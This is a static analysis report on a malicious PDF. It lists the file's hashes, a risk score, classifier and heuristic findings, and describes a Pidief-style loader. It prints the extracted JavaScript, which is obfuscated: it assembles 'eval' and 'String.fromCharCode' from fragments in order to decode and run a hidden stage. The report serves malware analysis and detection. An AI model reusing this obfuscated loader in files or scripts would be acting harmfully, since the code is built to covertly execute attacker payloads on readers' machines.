Malicious PDF — malware analysis report

Static analysis result for SHA-256 bd8705537966dd61…

MALICIOUS

PDF

45.0 KB Authoring application: substr First seen: 2026-05-09
MD5: de1da2e64ac69f805d6e0dc4c27b7cc4 SHA-1: f074e115d1f6e476f4b38e27ece338d0838da10b SHA-256: bd8705537966dd61fafb902f0d25537575805db814c1e9b4e42c9e14c793f3e4
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to download and execute a second-stage payload, a common technique for delivering malware. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB161 430 bytes
SHA-256: c257962d1d8bcf194a9dd14dc32644b7ec56bd11f97cc7f90d05dfd377d74727
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
jhz=e('ti'.concat(v[4],t));
q=jhz[v](a.length-6,a.length+2);
nlaxk=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=jhz[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	accx = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(nlaxk(accx));
	i++;
}
e(s2);

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